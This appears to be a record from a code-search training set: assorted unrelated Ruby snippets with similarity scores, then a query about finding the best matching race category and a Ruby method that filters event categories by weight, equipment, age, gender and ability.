_reduce_120(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def sex; end", "def sst\n @y_sd**2*(cases-1.0)\n end", "def qual_sexo\n return \"masculino\" if (self.sexo==\"m\")\n return \"feminino \" if (self.sexo==\"f\")\n end", "def type_result(e, es)\n if exam_type == 'Grades'\n es.grading_level.name || 'AB'\n elsif exam_type == 'Marks'\n [es.marks || 'AB', e.maximum_marks].join('/')\n else\n [[es.marks || 'AB', e.maximum_marks].join('/'), es.grading_level.name || '-'].join('|')\n end\n end", "def _reduce_26(val, _values, result)\n result = s(:masgn, val[0], s(:to_ary, val[2]))\n \n result\nend", "def proc_monster ofp, flg, lst\n ofp << \" {\"\n if lst[0] =~ /[[:digit:]]/\n ofp << \"#{lst.shift},#{lst.shift},\"\n else\n name = lst.shift\n ofp << \"Exp_#{name},Score_#{name},\"\n end\n ofp << %(mtype_#{lst.shift},\"#{lst.shift}\")\n ofp << \", #{flg}\" unless flg.empty?\n ofp << \"},\\n\"\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_119(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def jt\n @pubmed['JT'].strip\n end", "def sofl_hs\n\t\t[\n\t\t\t['American',\t'American'],\n\t\t\t['Anderson; Boyd',\t'Anderson; Boyd'],\n\t\t\t['Atlantic Technical',\t'Atlantic Technical'],\n\t\t\t['Miami Beach',\t'Miami Beach'],\n\t\t\t['Braddock G. Holmes',\t'Braddock G. Holmes'],\n\t\t\t['College Academy',\t'College Academy'],\n\t\t\t['Miami Carol City',\t'Miami Carol City'],\n\t\t\t['Miami Central',\t'Miami Central'],\n\t\t\t['Coconut Crk High',\t'Coconut Crk High'],\n\t\t\t['Coral Glades High',\t'Coral Glades High'],\n\t\t\t['Cooper City',\t'Cooper City'],\n\t\t\t['Coral Springs',\t'Coral Springs'],\n\t\t\t['Miami Coral Park',\t'Miami Coral Park'],\n\t\t\t['Corla Reef',\t'Corla Reef'],\n\t\t\t['Cypress Bay',\t'Cypress Bay'],\n\t\t\t['Design &Architecture',\t'Design &Architecture'],\n\t\t\t['Dillard High',\t'Dillard High'],\n\t\t\t['Deerfield Beach',\t'Deerfield Beach'],\n\t\t\t['Miami Edison',\t'Miami Edison'],\n\t\t\t['Ely',\t'Ely'],\n\t\t\t['Everglades',\t'Everglades'],\n\t\t\t['Flanagan; Charls',\t'Flanagan; Charls'],\n\t\t\t['Ferguson John ',\t'Ferguson John '],\n\t\t\t['Fort Lauderdale',\t'Fort Lauderdale'],\n\t\t\t['Felix Valera',\t'Felix Valera'],\n\t\t\t['Coral Gables',\t'Coral Gables'],\n\t\t\t['Goleman Barbara',\t'Goleman Barbara'],\n\t\t\t['Hallandale High',\t'Hallandale High'],\n\t\t\t['Hialeah Gardens High ',\t'Hialeah Gardens High '],\n\t\t\t['Hialeah ',\t'Hialeah '],\n\t\t\t['Homestead',\t'Homestead'],\n\t\t\t['Hollywood HI High',\t'Hollywood HI High'],\n\t\t\t['Miami Jackson',\t'Miami Jackson'],\n\t\t\t['Miami Killian',\t'Miami Killian'],\n\t\t\t['Micheal Krop',\t'Micheal Krop'],\n\t\t\t['Mast Academy',\t'Mast Academy'],\n\t\t\t['McArthur',\t'McArthur'],\n\t\t\t['McFatter Technical ',\t'McFatter Technical '],\n\t\t\t['Miami Beach',\t'Miami Beach'],\n\t\t\t['Miami Lakes Edu Cntr',\t'Miami Lakes Edu Cntr'],\n\t\t\t['Hialeah-Miami Lakes',\t'Hialeah-Miami Lakes'],\n\t\t\t['Miami Senior',\t'Miami Senior'],\n\t\t\t['Miramar High',\t'Miramar High'],\n\t\t\t['Monarch',\t'Monarch'],\n\t\t\t['Robert Morgan Edu Ctr',\t'Robert Morgan Edu Ctr'],\n\t\t\t['Alonzo and Tracy Mourning Sr High',\t'Alonzo and Tracy Mourning Sr High'],\n\t\t\t['Northeast',\t'Northeast'],\n\t\t\t['New World School of Art',\t'New World School of Art'],\n\t\t\t['North Miami Beach',\t'North Miami Beach'],\n\t\t\t['North Miami ',\t'North Miami '],\n\t\t\t['Miami Norland',\t'Miami Norland'],\n\t\t\t['Miami Northwestern',\t'Miami Northwestern'],\n\t\t\t['Nova',\t'Nova'],\n\t\t\t['Miami Palmetto ',\t'Miami Palmetto '],\n\t\t\t['Piper',\t'Piper'],\n\t\t\t['Plantation High',\t'Plantation High'],\n\t\t\t['Pompano Institute',\t'Pompano Institute'],\n\t\t\t['Ronald W. Reagan',\t'Ronald W. Reagan'],\n\t\t\t['School for Advanced Studies Homestead',\t'School for Advanced Studies Homestead'],\n\t\t\t['School for Advanced Studies North',\t'School for Advanced Studies North'],\n\t\t\t['School for Advanced Studies South',\t'School for Advanced Studies South'],\n\t\t\t['School for Advanced Studies Wolfson',\t'School for Advanced Studies Wolfson'],\n\t\t\t['South Broward',\t'South Broward'],\n\t\t\t['South Miami',\t'South Miami'],\n\t\t\t['South Dade',\t'South Dade'],\n\t\t\t['Miami Southridge',\t'Miami Southridge'],\n\t\t\t['S Plantation',\t'S Plantation'],\n\t\t\t['Miami Springs',\t'Miami Springs'],\n\t\t\t['Stoneman; Douglas',\t'Stoneman; Douglas'],\n\t\t\t['Stranahan',\t'Stranahan'],\n\t\t\t['Miami Sunset ',\t'Miami Sunset '],\n\t\t\t['Southwest Miami',\t'Southwest Miami'],\n\t\t\t['Travella',\t'Travella'],\n\t\t\t['Turner; WM Technical',\t'Turner; WM Technical'],\n\t\t\t['Washington; Brooker T',\t'Washington; Brooker T'],\n\t\t\t['West Broward',\t'West Broward'],\n\t\t\t['Western',\t'Western'],\n\t\t\t['West Land',\t'West Land'],\n\t\t\t['Yound Mans Prep Academy',\t'Yound Mans Prep Academy'],\n\t\t\t['Yound Womans Prep Academy',\t'Yound Womans Prep Academy'],\n\t\t\t['--Not Applicable--', 'Not Applicable'],\n\t\t]\n\tend", "def sTemperatur()\n @len = @seq.length\n # Falls die Länge ungleich 0 ist\n # rechnen wir was nötig ist\n if @len\n # Falls die Länge der Zeichenkette kleiner oder gleich 14 ist \n # rechnen wir das ein bisschen anders\n if(@len <= 14)\n\treturn 4.0 * (occ(@seq, 'G') + occ(@seq, 'C')) + 2 * (occ(@seq, 'A') + occ(@seq, 'T'))\n # Falls die Länget des DNAs relativ gross ist \n # dann rechnen wir das auch anders\n else \n\treturn 64.9 + 41.0 * (occ(@seq, 'G') + occ(@seq, 'C') - 16.4) / @len\n end\n end \n return NIL\n end", "def modeler_description\r\n return \"This measure imports 8760 chilled water and hot water demand profiles for use in the LoadProfilePlant. The source is a csv file with seven columns titles: timestep, chw_supply_temp_f, chw_flow_frac, chw_load_w, hw_supply_temp_f, hw_flow_frac, hw_load_w.\"\r\n end", "def to_refflat\n [ gene_name, name, seqname, strand, start, stop, cds.map(&:start).min, cds.map(&:stop).max, exons.count,\n exons.map(&:start).sort.join(','),\n exons.map(&:stop).sort.join(',')\n ].join \"\\t\"\n end", "def stanford_mascot\n $mascots[:stanford]\n # or\n $mascots.values[0]\nend", "def sv\n field_fetch('SV').sub(/;/,'')\n end", "def numerical_acc_select (acc_cats)\n text = \"\"\n acc_cats.sort_by{|cat,sales| sales[0]}.reverse.first(ACCESSORY_TYPES_PER_BESTSELLING).each do |product_type|\n unless product_type[0] == \"\" # Category in which unplaceable items are put (no other known category accepts them)\n cat_sales = product_type[1][0]\n acc_hash = product_type[1][1]\n Translation.select(:value).where(:key=>product_type[0]+\".name\").first.value =~ /--- (.+)/\n trans = $1\n text += \"%\"+trans+\"~\"+cat_sales.to_s+\"~\"\n acc_hash.sort_by{|sku,sales| sales}.reverse.first(ACCESSORIES_PER_PRODUCT_TYPE).each do |product|\n text += product[0]+\"~\"+product[1].to_s+\"~\"\n end\n end\n end\n text\nend", "def jt\n @pubmed['JT'].strip\n end", "def lfmi()\n \t@last + \", \" + @first + \" \" + @middle[0,1] + \".\"\n end", "def return_usc\n $mascots.keys[4]\nend", "def cardinal; end", "def first_name_men; end" ]
[ "0.5762351", "0.5433011", "0.540814", "0.5402696", "0.52553093", "0.5249595", "0.52339363", "0.5179001", "0.51565325", "0.51446575", "0.51356655", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.5135644", "0.51256204", "0.5114936", "0.5114936", "0.51034194", "0.51034194", "0.51034194", "0.5089616", "0.5085817", "0.5085817", "0.50787663", "0.50787663", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.5078312", "0.50712645", "0.50690866", "0.5051016", "0.50493306", "0.50435835", "0.5039026", "0.50142944", "0.50142944", "0.50142944", "0.50142944", "0.5003857", "0.4989461", "0.49893698", "0.4989215", "0.49599236", "0.49445063", "0.49390253", "0.49390253", "0.49390253", "0.49390253", "0.49390253", "0.49390253", "0.49390253", "0.49390253", "0.49390253", "0.49383345", "0.4919171", "0.4910896", "0.49095938", "0.49078378", "0.49039456", "0.48866978", "0.4882467", "0.48740202", "0.48676738", "0.4856184", "0.48545972", "0.48482853" ]
0.0
-1
Find best matching competition race for category. Iterate through traits (weight, equipment, ages, gender, abilities) until there is a single match (or none).
def best_match_in(event) logger.debug "Category#best_match_in #{name} in #{event.name}: #{event.categories.map(&:name).join(', ')}" candidate_categories = event.categories equivalent_match = candidate_categories.detect { |category| equivalent?(category) } logger.debug "equivalent: #{equivalent_match&.name}" return equivalent_match if equivalent_match candidate_categories = candidate_categories.select { |category| weight == category.weight } logger.debug "weight: #{candidate_categories.map(&:name).join(', ')}" candidate_categories = candidate_categories.select { |category| equipment == category.equipment } logger.debug "equipment: #{candidate_categories.map(&:name).join(', ')}" candidate_categories = candidate_categories.select { |category| ages_begin.in?(category.ages) } logger.debug "ages: #{candidate_categories.map(&:name).join(', ')}" candidate_categories = candidate_categories.reject { |category| gender == "M" && category.gender == "F" } logger.debug "gender: #{candidate_categories.map(&:name).join(', ')}" candidate_categories = candidate_categories.select { |category| ability_begin.in?(category.abilities) } logger.debug "ability: #{candidate_categories.map(&:name).join(', ')}" return candidate_categories.first if candidate_categories.one? return nil if candidate_categories.empty? if junior? junior_categories = candidate_categories.select { |category| category.junior? } logger.debug "junior: #{junior_categories.map(&:name).join(', ')}" return junior_categories.first if junior_categories.one? if junior_categories.present? candidate_categories = junior_categories end end if masters? masters_categories = candidate_categories.select { |category| category.masters? } logger.debug "masters?: #{masters_categories.map(&:name).join(', ')}" return masters_categories.first if masters_categories.one? if masters_categories.present? candidate_categories = masters_categories end end # E.g., if Cat 3 matches Senior Men and Cat 3, use Cat 3 # Could check size of range and use narrowest if there is a single one more narrow than the others candidate_categories = candidate_categories.reject { |category| category.all_abilities? } logger.debug "reject wildcards: #{candidate_categories.map(&:name).join(', ')}" return candidate_categories.first if candidate_categories.one? return nil if candidate_categories.empty? # "Highest" is lowest ability number highest_ability = candidate_categories.map(&:ability_begin).min if candidate_categories.one? { |category| category.ability_begin == highest_ability } highest_ability_category = candidate_categories.detect { |category| category.ability_begin == highest_ability } logger.debug "highest ability: #{highest_ability_category.name}" return highest_ability_category end candidate_categories = candidate_categories.reject { |category| gender == "F" && category.gender == "M" } logger.debug "exact gender: #{candidate_categories.map(&:name).join(', ')}" return candidate_categories.first if candidate_categories.one? return nil if candidate_categories.empty? logger.debug "no wild cards: #{candidate_categories.map(&:name).join(', ')}" return candidate_categories.first if candidate_categories.one? return nil if candidate_categories.empty? raise "Multiple matches #{candidate_categories.map(&:name)} for #{name} in #{event.categories.map(&:name).join(', ')}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def best_match_in(event_categories, result_age = nil)\n debug \"Category#best_match_in for #{name} in #{event_categories.map(&:name).join(', ')}\"\n\n candidate_categories = event_categories.dup\n\n equivalent_matches = candidate_categories.select { |category| equivalent?(category) }\n debug \"equivalent: #{equivalent_matches.map(&:name).join(', ')}\"\n return equivalent_matches.first if one_match?(equivalent_matches)\n\n # Sometimes categories like Beginner and Cat 4 are equivalent but need to\n # be separated if both categories exist\n exact_equivalent = equivalent_matches.detect { |category| category.name == name }\n debug \"exact equivalent: #{exact_equivalent}\"\n return exact_equivalent if exact_equivalent\n\n # If no weight match, ignore weight and match on age and gender\n if candidate_categories.any? { |category| weight == category.weight }\n candidate_categories = candidate_categories.select { |category| weight == category.weight }\n end\n debug \"weight: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n\n # Eddy is essentially senior men/women for BAR\n if equipment == \"Eddy\"\n highest_senior_category = candidate_categories.detect do |category|\n category.ability_begin == 0 &&\n category.gender == gender &&\n !category.age_group? &&\n (category.equipment == \"Eddy\" || category.equipment.blank?)\n end\n debug \"eddy: #{highest_senior_category&.name}\"\n return highest_senior_category if highest_senior_category\n end\n\n # Equipment matches are fuzzier\n candidate_categories = candidate_categories.select { |category| equipment == category.equipment }\n debug \"equipment: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return candidate_categories.first if candidate_categories.one? && equipment?\n return nil if candidate_categories.empty?\n\n if equipment?\n equipment_categories = candidate_categories.select do |category|\n equipment == category.equipment && gender == category.gender\n end\n debug \"equipment and gender: #{equipment_categories.map(&:name).join(', ')}\"\n return equipment_categories.first if equipment_categories.one?\n end\n\n candidate_categories = candidate_categories.reject { |category| gender == \"M\" && category.gender == \"F\" }\n debug \"gender: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n\n candidate_categories = if result_age && !senior? && candidate_categories.none? { |category| ages_begin.in?(category.ages) }\n candidate_categories.select { |category| category.ages.include?(result_age) }\n elsif junior? && ages_begin == 0\n candidate_categories.select { |category| ages_end.in?(category.ages) }\n else\n candidate_categories.select { |category| ages_begin.in?(category.ages) }\n end\n debug \"ages: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n\n unless all_abilities?\n candidate_categories = candidate_categories.select { |category| ability_begin.in?(category.abilities) }\n debug \"ability: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n end\n\n # Edge case for unusual age ranges that span juniors and seniors like 15-24\n if !senior? && ages_begin <= Ages::JUNIORS.end && ages_end > Ages::JUNIORS.end\n candidate_categories = candidate_categories.reject(&:junior?)\n debug \"overlapping ages: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n end\n\n if junior?\n junior_categories = candidate_categories.select(&:junior?)\n debug \"junior: #{junior_categories.map(&:name).join(', ')}\"\n return junior_categories.first if junior_categories.one?\n\n candidate_categories = junior_categories if junior_categories.present?\n end\n\n if masters?\n masters_categories = candidate_categories.select(&:masters?)\n debug \"masters?: #{masters_categories.map(&:name).join(', ')}\"\n return masters_categories.first if masters_categories.one?\n\n candidate_categories = masters_categories if masters_categories.present?\n end\n\n # E.g., if Cat 3 matches Senior Men and Cat 3, use Cat 3\n # Could check size of range and use narrowest if there is a single one more narrow than the others\n unless candidate_categories.all?(&:all_abilities?) || all_abilities?\n candidate_categories = candidate_categories.reject(&:all_abilities?)\n end\n debug \"reject wildcards: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n\n # \"Highest\" is lowest ability number\n # Choose exact ability category begin if women\n # Common edge case where the two highest categories are Pro/1/2 and Women 1/2\n if candidate_categories.one? { |category| category.ability_begin == ability_begin && category.women? && women? }\n ability_category = candidate_categories.detect { |category| category.ability_begin == ability_begin && category.women? && women? }\n debug \"ability begin: #{ability_category.name}\"\n return ability_category if ability_category.include?(self)\n end\n\n # Edge case for next two matchers: don't choose Junior Open 1/2/3 over Junior Open 3/4/5 9-12 for Junior Open 3/4/5 11-12,\n # but still match Junior Women with Category 1\n\n # Choose highest ability category\n highest_ability = candidate_categories.map(&:ability_begin).min\n if candidate_categories.one? { |category| category.ability_begin == highest_ability && (!category.junior? || category.ages.size <= ages.size) }\n highest_ability_category = candidate_categories.detect { |category| category.ability_begin == highest_ability && (!category.junior? || category.ages.size <= ages.size) }\n debug \"highest ability: #{highest_ability_category.name}\"\n return highest_ability_category if highest_ability_category.include?(self)\n end\n\n # Choose highest ability by gender\n if candidate_categories.one? { |category| category.ability_begin == highest_ability && category.gender == gender && (!category.junior? || category.ages.size <= ages.size) }\n highest_ability_category = candidate_categories.detect { |category| category.ability_begin == highest_ability && category.gender == gender && (!category.junior? || category.ages.size <= ages.size) }\n debug \"highest ability for gender: #{highest_ability_category.name}\"\n return highest_ability_category if highest_ability_category.include?(self)\n end\n\n # Choose highest minimum age if multiple Masters 'and over' categories\n if masters? && candidate_categories.all?(&:and_over?)\n if result_age\n candidate_categories = candidate_categories.reject { |category| category.ages_begin > result_age }\n end\n highest_age = candidate_categories.map(&:ages_begin).max\n highest_age_category = candidate_categories.detect { |category| category.ages_begin == highest_age }\n debug \"highest age: #{highest_age_category&.name}\"\n return highest_age_category if highest_age_category&.include?(self)\n end\n\n # Choose narrowest age if multiple Masters categories\n if masters?\n ranges = candidate_categories.select(&:masters?).map do |category|\n category.ages_end - category.ages_begin\n end\n\n minimum_range = ranges.min\n candidate_categories = candidate_categories.select do |category|\n (category.ages_end - category.ages_begin) == minimum_range\n end\n\n return candidate_categories.first if one_match?(candidate_categories)\n end\n\n # Choose narrowest age if multiple Juniors categories\n if junior?\n ranges = candidate_categories.select(&:junior?).map do |category|\n category.ages_end - category.ages_begin\n end\n\n minimum_range = ranges.min\n candidate_categories = candidate_categories.select do |category|\n (category.ages_end - category.ages_begin) == minimum_range\n end\n\n debug \"narrow junior ages: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n end\n\n candidate_categories = candidate_categories.reject { |category| gender == \"F\" && category.gender == \"M\" }\n debug \"exact gender: #{candidate_categories.map(&:name).join(', ')}\"\n return candidate_categories.first if one_match?(candidate_categories)\n return nil if candidate_categories.empty?\n\n if wildcard? && candidate_categories.none?(&:wildcard?)\n debug \"no wild cards: #{candidate_categories.map(&:name).join(', ')}\"\n return nil\n end\n\n if candidate_categories.size > 1\n raise \"Multiple matches #{candidate_categories.map(&:name)} for #{name}, result age: #{result_age} in #{event_categories.map(&:name).join(', ')}\"\n end\n end", "def best_by_type_and_category(type, category = nil)\n conditions = [\"debates.is_live = ? AND debates.priv = ? AND arguments.argument_type = ? AND debates.category_id != ?\",\n true, false, type, Category.practice_debate]\n if category\n conditions[0] += \" AND debates.category_id = ?\"\n conditions << category\n end\n \n Argument.first :joins => :debate, :conditions => conditions, :order => 'arguments.score desc'\n end", "def match(categories)\n result = []\n for category in categories\n score = score(category)\n result << {value: score, category: category}\n end\n\n highest_value = result.map{|x| x[:value]}.sort.last\n selected_category = nil\n if highest_value > 0\n result.each do |hash|\n if hash[:value] == highest_value\n selected_category = hash[:category]\n end\n end\n end\n\n return selected_category\n\n end", "def get_team_best_individual_result(gender_type, pool_type, event_type, category_code)\n if has_individual_result?(gender_type, pool_type, event_type, category_code)\n # team.meeting_individual_results\n # .is_not_disqualified\n # .for_gender_type(gender_type)\n # .for_pool_type(pool_type)\n # .for_event_type(event_type)\n # .for_category_code(category_code)\n # .sort_by_timing.first\n team.meeting_individual_results\n .is_not_disqualified\n .for_team_best(pool_type, gender_type, category_code, event_type)\n .sort_by_timing.first\n end\n end", "def grouped_user_fitness\n grouped_activities.select {|activity| activity.category == \"Health & Fitness\"}\n end", "def coolest_ability\n coolest_ability = nil\n abilities.each do | current_ability | \n if coolest_ability == nil || current_ability[:coolness] > coolest_ability[:coolness]\n coolest_ability = current_ability\n end\n end\n coolest_ability\n end", "def scan_for_gender_category_and_event\n # Scan genders, than Category, than events, than pool types\n # An element occurs if at least one meeting individual result is present\n GenderType.individual_only.each do |gender_type|\n PoolType.only_for_meetings.each do |pool_type|\n @event_types.each do |event_type|\n @categories.each do |category_code|\n # If at least on meeting individual result add an element\n next unless MeetingIndividualResult\n .for_season_type(@season.season_type)\n .for_gender_type(gender_type)\n .for_category_code(category_code)\n .for_pool_type(pool_type)\n .for_event_type(event_type)\n .exists?\n\n @single_events << SeasonPonderatedBestsDAO::EventPonderatedBestDAO.new(\n @season,\n gender_type,\n CategoryType.for_season(@season).find_by(code: category_code),\n event_type,\n pool_type,\n @max_results,\n @bests_to_be_ignored\n )\n end\n end\n end\n end\n end", "def category_candidates(category)\n return @category_cache[category] unless @category_cache[category].nil?\n # from whole name singularized\n candidates = []\n decorated_category = Cyclopedio::Syntax::NameDecorator.new(category, parse_tree_factory: @parse_tree_factory)\n @nouns.singularize_name(category.name, decorated_category.category_head).each do |name_singularized|\n candidates.concat(candidates_for_name(name_singularized,@category_filters))\n end\n candidate_set = create_candidate_set(category.name,candidates)\n return @category_cache[category] = candidate_set if !candidate_set.empty? || @category_exact_match\n # from simplified name\n candidate_set = candidate_set_for_syntax_trees(decorated_category.category_head_trees,@category_filters)\n return @category_cache[category] = candidate_set unless candidate_set.empty?\n # from original whole name\n candidate_set = candidate_set_for_name(category.name, @category_filters)\n @category_cache[category] = candidate_set\n end", "def talents\n talents = {}\n unless self.character_talents.empty?\n self.character_talents.each do |talent_tree|\n talent_tree.attributes.each do |key, value|\n if key.match(/talent_[\\d]_[\\d]$/) and !value.nil?\n if talents.has_key?(value) && !talent_tree[\"#{key}_options\"].nil?\n talents[value]['count'] = talents[value]['count'] + 1\n talent_tree[\"#{key}_options\"].each do |opt|\n opt_test = opt.to_i\n if opt_test.is_a? Integer and opt_test > 0\n talents[value]['options'] << Skill.find_by_id(opt).name\n else\n talents[value]['options'] << opt.capitalize\n end\n end\n else\n talents[value] = {}\n talents[value]['count'] = 1\n talents[value]['options'] = Array.new\n unless talent_tree[\"#{key}_options\"].nil?\n unless talent_tree[\"#{key}_options\"].empty?\n talent_tree[\"#{key}_options\"].each do |opt|\n opt_test = opt.to_i\n if opt_test.is_a? Integer and opt_test > 0\n talents[value]['options'] << Skill.find_by_id(opt).name\n else\n talents[value]['options'] << opt.capitalize\n end\n end\n end\n end\n end\n end\n end\n end\n talents\n end\n\n # Build the character cybernetics selection.\n def cybernetics\n cybernetics = Array.new\n items = Array.new\n bonus_arms = {\n :agility => nil,\n :brawn => nil\n }\n bonus_legs = {\n :agility => nil,\n :brawn => nil\n }\n bonus_head = {\n :intellect => nil\n }\n left_leg_active = false\n right_leg_active = false\n arms_active = false\n head_active = false\n bonus_soak = 0\n\n if self.character_cybernetics\n self.character_cybernetics.each do |cyb|\n bonus = nil\n unless cyb.gear_id.nil?\n if cyb.respond_to?(\"#{cyb.gear.name.gsub(/[^0-9a-z\\\\s]/i, '').downcase}\")\n bonus = cyb.send(\"#{cyb.gear.name.gsub(/[^0-9a-z\\\\s]/i, '').downcase}\")\n if bonus\n if !arms_active && (cyb.location == 'left_arm' || cyb.location == 'right_arm')\n bonus_arms = bonus\n arms_active = true\n end\n if cyb.location == 'left_leg'\n left_leg_active = cyb.gear.id\n end\n if cyb.location == 'right_leg'\n right_leg_active = cyb.gear.id\n end\n if left_leg_active == right_leg_active\n bonus_legs = bonus\n end\n if !head_active && cyb.location == 'head'\n bonus_head = bonus\n head_active = true\n end\n if bonus[:soak]\n bonus_soak = bonus[:soak]\n end\n end\n end\n\n items << {\n :name => cyb.gear.name,\n :location => cyb.location,\n :bonus => bonus\n }\n end\n end\n end\n\n cybernetics = {\n :items => items,\n :bonuses => {\n :agility => (bonus_arms[:agility] ? bonus_arms[:agility] : 0) + (bonus_legs[:agility] ? bonus_legs[:agility] : 0),\n :brawn => (bonus_arms[:brawn] ? bonus_arms[:brawn] : 0) + (bonus_legs[:brawn] ? bonus_legs[:brawn] : 0),\n :intellect => (bonus_head[:intellect] ? bonus_head[:intellect] : 0),\n :soak => bonus_soak,\n },\n :legs => left_leg_active == right_leg_active\n }\n\n cybernetics\n end\n\n character_bonus_talents = CharacterBonusTalent.where(:character_id => self.id)\n unless character_bonus_talents.empty?\n character_bonus_talents.each do |bt|\n talent_ranks = RaceTalent.where(:race_id => self.race.id, :talent_id => bt.talent_id).first#.ranks\n unless talent_ranks.nil?\n if talents.has_key?(bt.talent_id)\n talents[bt.talent_id]['count'] = talents[bt.talent_id]['count'] + talent_ranks.ranks\n else\n talents[bt.talent_id] = {}\n talents[bt.talent_id]['count'] = talent_ranks.ranks\n talents[bt.talent_id]['options'] = Array.new\n end\n end\n end\n end\n\n # Include talent alterations from equipped armor.\n if self.armor_modification_bonuses['talents']\n self.armor_modification_bonuses['talents'].each do |armor_talents|\n if talents.has_key?(armor_talents)\n talents[armor_talents]['count'] = talents[armor_talents]['count'] + 1\n else\n talents[armor_talents] = {}\n talents[armor_talents]['count'] = 1\n talents[armor_talents]['options'] = Array.new\n end\n end\n end\n # Include talent alterations from equipped weapons.\n if self.weapon_modification_bonuses['talents']\n self.weapon_modification_bonuses['talents'].each do |weapon_talents|\n if talents.has_key?(weapon_talents)\n talents[weapon_talents]['count'] = talents[weapon_talents]['count'] + 1\n else\n talents[weapon_talents] = {}\n talents[weapon_talents]['count'] = 1\n talents[weapon_talents]['options'] = Array.new\n end\n end\n end\n talents\n end", "def get_category_to_split_into(meeting_individual_result)\n category_type = meeting_individual_result.category_type\n if category_needs_split?(category_type)\n # Find the swimmer age\n swimmer_age = meeting_individual_result.get_swimmer_age\n element = @distinct_categories.rindex { |e| e.code != category_type.code && e.age_begin <= swimmer_age && e.age_end >= swimmer_age && !e.is_undivided }\n end\n element ? @distinct_categories[element] : find_category_by_code(category_type.code)\n end", "def scan_for_distinct_bests\n team_distinct_best = RecordX4dDAO.new(@team, RecordType.find_by(code: 'TTB'))\n # Cycle between set genders, pools, events and distinct categories\n @gender_types.each do |gender_type|\n @pool_types.each do |pool_type|\n @event_types.each do |event_type|\n @distinct_categories.each do |category_type|\n record = get_team_best_individual_result(gender_type, pool_type, event_type, category_type.code)\n team_distinct_best.add_record(record) if record\n end\n end\n end\n end\n team_distinct_best\n end", "def rooms_from_category(category)\n rooms.find_all do |room|\n room.category(:bedroom)\n end\n require \"pry\"; binding.pry\n end", "def incomplete_or_category(category)\n reset_incomplete_category_courses(category)\n reset_complete_category_courses(category)\n\n temp_set = complete[category].keys.first\n temp_courses = complete[category].values.flatten.uniq\n complete[category] = {}\n complete[category][temp_set] = temp_courses\n end", "def category\n case self.scorable_type\n when \"GovernmentScore\"\n return \"Government\"\n when \"ParkScore\"\n return \"Parks\"\n when \"SchoolScore\"\n return \"Schools\"\n when \"PoliceScore\"\n return \"Police\"\n when \"PublicScore\"\n return \"Public Works\"\n end\n end", "def random_item(category)\n if category == 'best-bets'\n # Sample a random Best Bet type from a static list\n ['webofscience', 'googlescholar', 'ieee', 'pubmed', 'morningstar', 'wgsn', 'standards', 'dissertation', 'refworks', 'ibis', 'proquest',\n 'psychinfo', 'sciencemagazine', 'sciencedirect', 'petition', 'compendex', 'jstor', 'software', 'naturejournal'].sample\n elsif category == 'doi-trap'\n # Sample a random DOI from a static list\n ['10.1080/10510974.2013.797483', '10.1111/j.1468-2958.1996.tb00379.x', 'http://dx.doi.org/10.1063/1.2741534', 'DOI: 10.1007/BF02887151',\n '10.1039/C4RA16247A', '10.1002/sce.3730670213', 'DOI: 10.1007/s40596-014-0241-5', '10.1080/15348423.2012.697437',\n 'http://dx.doi.org/10.3168/jds.S0022-0302(86)80552-5', 'DOI: 10.1023/A:1005204727421', '10.1039/C3TA00019B', 'doi:10.1038/leu.2016.163',\n 'DOI: 10.1007/s10853-013-7374-x', 'doi: 10.1016/0167-2738(91)90233-2', 'doi: 10.1179/000705992798268927', '10.1038/nphys3794',\n 'doi: 10.1149/1.1393288', '10.1080/1554480X.2014.926052', '10.1002/adma.201506234', '10.1080/00958972.2016.1176158'].sample\n elsif category == 'result-types'\n # Use a defined searcher for found types\n (QuickSearch::Engine::APP_CONFIG['searchers']).sample.dasherize\n elsif category == 'more-options'\n # Use a result number for more-options\n ['result-1', 'result-2', 'result-3', 'result-4'].sample\n elsif category == 'spelling-suggestion'\n # Use a fake string\n 'spelling suggestion ' + (rand*200).to_i.to_s\n else\n # Use one of the typical options for a searcher click (or anything else we haven't handled above)\n ['heading', 'result-1', 'result-2', 'result-3', 'see-all-results', 'no-results', 'error'].sample\n end \nend", "def unit_category(u)\n return if u.flags1.left or u.flags1.incoming\n # return if hostile & unit_invisible(u) (hidden_in_ambush or caged+mapblock.hidden or caged+holder.ambush\n return :Dead if u.flags1.dead\n return :Dead if u.flags3.ghostly # hostile ?\n return :Others if !unit_isfortmember(u)\n 